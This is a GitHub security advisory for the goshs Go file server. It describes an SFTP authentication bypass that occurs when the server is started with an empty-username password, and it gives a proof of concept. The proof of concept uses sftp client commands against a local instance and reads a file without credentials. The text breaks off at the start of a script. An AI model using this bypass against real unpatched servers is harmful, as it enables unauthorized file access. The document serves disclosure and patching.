GitHub Security Advisory: GHSA-c29w-qq4m-2gcv
Package: github.com/patrickhener/goshs/v2 (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 2.0.0
Patched in: 2.0.0

Summary: goshs has an empty-username SFTP password authentication bypass

Details:
### Summary
goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with `-b ':pass'` together with `-sftp`, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release `v2.0.0-beta.5`.

### Details
The help text explicitly documents empty usernames as valid authentication input:

- `options/options.go:264-266` says `Use basic authentication (user:pass - user can be empty)`

The SFTP sanity check only requires that either `-b` or `--sftp-keyfile` is present:

```go
if opts.SFTP && (opts.BasicAuth == "" && opts.SFTPKeyFile == "") {
    logger.Fatal("When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b")
}
```

That parsing logic then splits `-b ':pass'` into an empty username and a non-empty password:

```go
auth := strings.SplitN(opts.BasicAuth, ":", 2)
opts.Username = auth[0]
opts.Password = auth[1]
```

But the SFTP server only installs a password handler if both the username and password are non-empty:

```go
if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return ctx.User() == s.Username && password == s.Password
    }
}
```

With `-b ':pass'`, that condition is false, so no password authentication is enforced for SFTP sessions.

Relevant source locations:

- `options/options.go:264-266`
- `sanity/checks.go:82-85`
- `sanity/checks.go:102-109`
- `sftpserver/sftpserver.go:82-85`

### PoC
I manually verified the issue on `v2.0.0-beta.5`. The server was started with the documented empty-user auth syntax `-b ':pass'`, but an SFTP client still downloaded a file without supplying any key or password.

Manual verification commands used:

`Terminal 1`

```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt
mkdir -p /tmp/goshs_authless_root
printf 'root file\n' > /tmp/goshs_authless_root/test.txt

/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'
```

`Terminal 2`

```bash
printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \
sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - foo@127.0.0.1

cat /tmp/authless_sftp.txt
```

Expected result:

- the SFTP session succeeds without a key
- there is no password prompt
- `cat /tmp/authless_sftp.txt` prints `root file`

PoC Video 1:

https://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4


Single-script verification:

```bash
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2'
```

`gosh_poc2` script content:

```bash
#!/usr/bin/env ba